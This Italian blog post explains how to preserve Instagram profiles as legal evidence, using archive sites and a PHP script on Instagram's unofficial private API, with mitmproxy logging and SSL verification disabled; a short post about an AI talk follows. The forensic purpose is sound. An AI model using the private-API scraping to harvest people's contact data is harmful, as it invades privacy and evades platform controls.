Per questi motivi, la raccolta della prova che un contenuto è stato pubblicato non si può limitare a uno screenshot. Si deve procedere a cristallizzare la pagina in modo adeguato, prima che venga ulteriormente modificata o rimossa.

Acquisizione di base con i siti di archiviazione

Quasi tutti i profili Instagram sono pubblicamente accessibili. Questo perché Instagram è una vetrina dove le aziende possono rendersi visibili e condividere foto dei prodotti o altri contenuti interessanti per aumentare il proprio seguito.

Anche le persone non iscritte possono vedere i profili, utilizzando un semplice browser web. Pertanto, queste pagine si possono cristallizzare in modo semplice come molti altri siti.

Prendiamo ad esempio il profilo della nota catena statunitense Target: https://www.instagram.com/target/

Il modo più facile di cristallizzare pagine pubbliche come questa è adoperare i siti di archiviazione. Questi strumenti forniscono all’utente la possibilità di inserire l’indirizzo (URL) di un documento informatico pubblicato sul web, producendone quindi una copia informatica.

I principali sono:

Esistono anche degli strumenti molto più sofisticati e costosi, come ad esempio FAW, usati professionalmente da chi si occupa di digital forensics. Tuttavia, qui mi voglio focalizzare su degli strumenti di base e relativamente semplici.

I siti di archiviazione sono mezzi gratuiti e alla portata di tutti, che permettono di agire in fretta quando si teme che un contenuto compromettente possa essere cancellato, anche prima di essersi rivolti a un consulente tecnico specializzato e/o a un avvocato.

Per acquisire un contenuto con Wayback Machine, bisogna inserirne l’URL nell’apposito modulo di salvataggio, attivare l’opzione che salva anche lo screenshot e poi procedere col pulsante Save Page.

Cristallizzazione di una pagina con la Wayback Machine

A questo punto, Wayback Machine simulerà l’azione di un vero browser e acquisirà il contenuto della pagina comprensivo di codice sorgente (HTML, CSS, JS) e risorse statiche (immagini e eventuali allegati PDF).

Al termine della procedura, si otterranno due link permanenti che certificano lo stato della pagina al momento del salvataggio:

Con Archive.today la procedura è molto simile, con la differenza che si ottiene un unico link da cui si può vedere una riproduzione fedele della pagina e la relativa schermata.

Nel nostro esempio: https://archive.md/0kTgO

Generalmente le pagine cristallizzate con Archive.today sono un pochino più fedeli all’originale, ma non è una regola ferrea e va presa con le pinze. In ogni caso, le pagine acquisite con Wayback Machine conservano i nomi originali dei file multimediali (che potrebbero essere assai importanti).

Pertanto è spesso opportuno provare a fare l’acquisizione con entrambi gli strumenti, salvando poi gli URL delle copie così ottenute. I due siti forniscono anche gli screenshot, ma essi sono solamente a supporto dell’acquisizione e non la sostituiscono.

Una cosa utile da ricordare è che le pagine salvate su Archive.today possono venire indicizzate dai motori di ricerca. Per questo motivo, potrebbe essere preferibile non usare questo strumento se si ha a che fare con dei contenuti diffamatori.

Usando questa semplice procedura siamo già in una situazione mille volte migliore di chi si ritrova ad aver catturato solo una schermata.

Estrazione dei metadati

Apparentemente, quanto discusso prima sembra coprire al 100% la necessità di acquisire un profilo Instagram. Ma se avete mai adoperato questo social network tramite app, vi sarà venuta in mente la frase idiomatica:

There is more than meets the eye

Infatti il problema fondamentale in questo caso è che un profilo Instagram visualizzato tramite pagina web non contiene tutte le informazioni ottenibili con l’app.

Per esempio, ecco cosa succede con la versione iOS di Instagram:

Target ha indicato un numero di telefono e un indirizzo email che compaiono tramite il tasto Contatta. Tuttavia non c’è traccia di questi dati nella versione web di Instagram. Questo significa che sarebbe impossibile acquisirli dal sito, anche usando strumenti professionali.

Per ovviare a questo problema, possiamo attuare una procedura che simula il comportamento dell’applicazione ufficiale di Instagram usando le relative API private.

Questa parte è più complessa ed è dedicata agli addetti ai lavori, in quanto richiede la realizzazione di un piccolo software.

Dopo aver registrato un account di test su Instagram, possiamo creare un breve programma in linguaggio PHP che sfrutti la libreria Instagram-API. Prima di tutto, è necessario installare la libreria con Composer:

composer require mgp25/instagram-php

Poi si può adattare uno dei tanti semplici esempi già forniti su GitHub. In particolare, bisogna instanziare la classe e provvedere al login con l’utente di prova:

$ig = new \InstagramAPI\Instagram();
try {
    $ig->login($username, $password);
} catch (\Exception $e) {
    echo 'Something went wrong: ' . $e->getMessage() . "\n";
    exit(0);
}

Poi si possono richiedere tutti i metadati del profilo Instagram:

$ig->debug = true;
$userId = $ig->people->getUserIdForName('target');
$information = $ig->people->getInfoById($userId);

L’output sarà simile al seguente:

GET:  https://i.instagram.com/api/v1/users/209372398/info/
→ 0B
← 200 	 1.28kB
RESPONSE: {"user": {"pk": 209372398, "username": "target", "full_name": "Target", "is_private": false, "profile_pic_url": "https://instagram.fmxp1-1.fna.fbcdn.net/v/t51.2885-19/s150x150/10616997_545412705606932_1457477944_a.jpg?_nc_ht=instagram.fmxp1-1.fna.fbcdn.net\u0026_nc_ohc=qznruIvb6aYAX9yMilW\u0026oh=ffd42565e3e93beec8d527f54e17f72c\u0026oe=5EABFBBC", "is_verified": true, "has_anonymous_profile_picture": false, "media_count": 1647, "geo_media_count": 0, "follower_count": 4259469, "following_count": 5011, "following_tag_count": 12, "biography": "Your happy place on Instagram. \u2728\nTag @Target in your pics for a chance to be featured.\nShop our feed:", "biography_with_entities": {"raw_text": "Your happy place on Instagram. \u2728\nTag @Target in your pics for a chance to be featured.\nShop our feed:", "entities": [{"user": {"id": 209372398, "username": "target"}}]}, "external_url": "http://tgt.biz/ShopTarget", "external_lynx_url": "https://l.instagram.com/?u=http%3A%2F%2Ftgt.biz%2FShopTarget\u0026e=ATPSau2TC3aUeL8YfryH5-RiMm6G6Tpd07GDJANXe9moIp23lH-fHFfJd7EPb-PlwqdxztXSpN8bAEYPpw", "total_igtv_videos": 7, "has_igtv_series": false, "total_ar_effects": 0, "usertags_count": 2829304, "is_favorite": false, "is_favorite_for_stories": false, "is_favorite_for_highlights": false, "live_subscription_status": "default", "is_interest_account": true, "has_recommend_accounts": false, "has_chaining": true, "hd_profile_pic_url_info": {"url": "https://instagram.fmxp1-1.fna.fbcdn.net/v/t51.2885-19/10616997_545412705606932_1457477944_a.jpg?_nc_ht=instagram.fmxp1-1.fna.fbcdn.net\u0026_nc_ohc=qznruIvb6aYAX9yMilW\u0026oh=955504de4807130f11983896ece1e7a4\u0026oe=5E9D0CC6", "width": 180, "height": 180}, "mutual_followers_count": 0, "show_shoppable_feed": true, "shoppable_posts_count": 253, "can_be_reported_as_fraud": true, "merchant_checkout_style": "none", "has_highlight_reels": true, "direct_messaging": "UNKNOWN", "fb_page_call_to_action_id": "", "address_street": "", "business_contact_method": "CALL", "category": "Retail Company", "city_id": 0, "city_name": "", "contact_phone_number": "+18004400680", "is_call_to_action_enabled": false, "latitude": 0.0, "longitude": 0.0, "public_email": "target.SocialMedia@target.com", "public_phone_country_code": "1", "public_phone_number": "8004400680", "zip": "", "instagram_location_id": "", "is_business": true, "account_type": 2, "can_hide_category": true, "can_hide_public_contacts": true, "should_show_category": true, "should_show_public_contacts": true, "should_show_tabbed_inbox": false, "can_see_primary_country_in_settings": false, "include_direct_blacklist_status": true, "is_potential_business": true, "is_bestie": false, "has_unseen_besties_media": false, "show_account_transparency_details": true, "show_leave_feedback": false, "auto_expand_chaining": false, "highlight_reshare_disabled": false, "show_post_insights_entry_point": false, "about_your_account_bloks_entrypoint_enabled": false}, "status": "ok"}

In particolare, all’interno della risposta JSON è possibile individuare i seguenti campi:

"public_email": "target.SocialMedia@target.com",
"public_phone_country_code": "1",
"public_phone_number": "8004400680",

Consiglio di prestare molta attenzione al codice numerico instagram_location_id, anche se non è sempre presente. Questo valore è estremamente interessante perché permette di collegare una pagina Instagram a una pagina Facebook.

Prendendo come esempio l’account Instagram ikeauk, si ottiene il codice 187578611279774, da cui si ricava immediatamente un valido URL su Facebook: https://www.facebook.com/187578611279774/

Considerazioni finali

Grazie ai siti di archiviazione è possibile procedere a una prima cristallizzazione “di base” di un profilo Instagram. Simulando invece il comportamento dell’app per cellulari si può accedere a molti altri metadati, non altrimenti visibili.

L’ultimo consiglio che vi posso dare è quello di unire la procedura in PHP all’uso di mitmproxy per registrare tutti i flussi HTTPS intercorsi durante l’acquisizione. Vi basterà avviarlo e assicurarvi che il proxy sia correttamente impostato nel codice PHP:

$ig->setProxy('http://127.0.0.1:8080');
$ig->setVerifySSL(false);

Così facendo, potrete finalizzare il lavoro producendo il file registrato da mitmproxy, lo script di acquisizione, il relativo output ridirezionato in un file di testo e un breve report in PDF dentro a un archivio ZIP. Alla fine basterà apporre la firma digitale e la marca temporale.


Aggiornamento del 6 gennaio 2020: in seguito al graditissimo suggerimento di Paolo Dal Checco, ho aggiunto una precisazione sul fatto che le pagine memorizzate da Archive.today sono indicizzabili dai motori di ricerca.

Introduzione all’intelligenza artificiale — Video del talk

Il 26 ottobre ho partecipato come relatore al Linux Day 2019 organizzato dal Gruppo Utenti GNU/Linux di Vicenza. Il filo conduttore di quest’anno era l’intelligenza artificiale e i video dei vari interventi sono stati poi pubblicati anche su YouTube.

Il mio intervento aveva un carattere piuttosto introduttivo, con lo scopo di presentare una panoramica della disciplina:

Introduzione all’intelligenza artificiale

Questo intervento si propone di fornire ai partecipanti una panoramica chiara, completa e divulgativa sull’Intelligenza Artificiale e la Computer Vision. Partendo da un’introduzione sui concetti di base, verrà spiegato il funzionamento base del Machine Learning e la sua implementazione attraverso le reti neurali. Non mancheranno cenni alle applicazioni quotidiane dell’Intelligenza Artificiale, inclusa la classificazione, la segmentazione e il riconoscimento dei testi.

Mi auguro che questo talk abbia permesso di fare un po’ di chiarezza, sottolineando come l’intelligenza artificiale abbia del potenziale enorme, ma non è perfetta e non è magia. Soprattutto, i robot non conquisteranno il mondo. 😀

Questo è il video su YouTube, come sempre di ottima qualità grazie al lavoro di montaggio di Stefano del LUG Vicenza:

Clicca qui per mostrare contenuto da YouTube.
Scopri di più nella privacy policy di YouTube.

Il materiale usato per la presentazione è una versione lievemente rivista di ciò che avevo presentato l’anno scorso nel ciclo di incontri Dieci volti dell’Informatica. Lo potete visionare cliccando qui.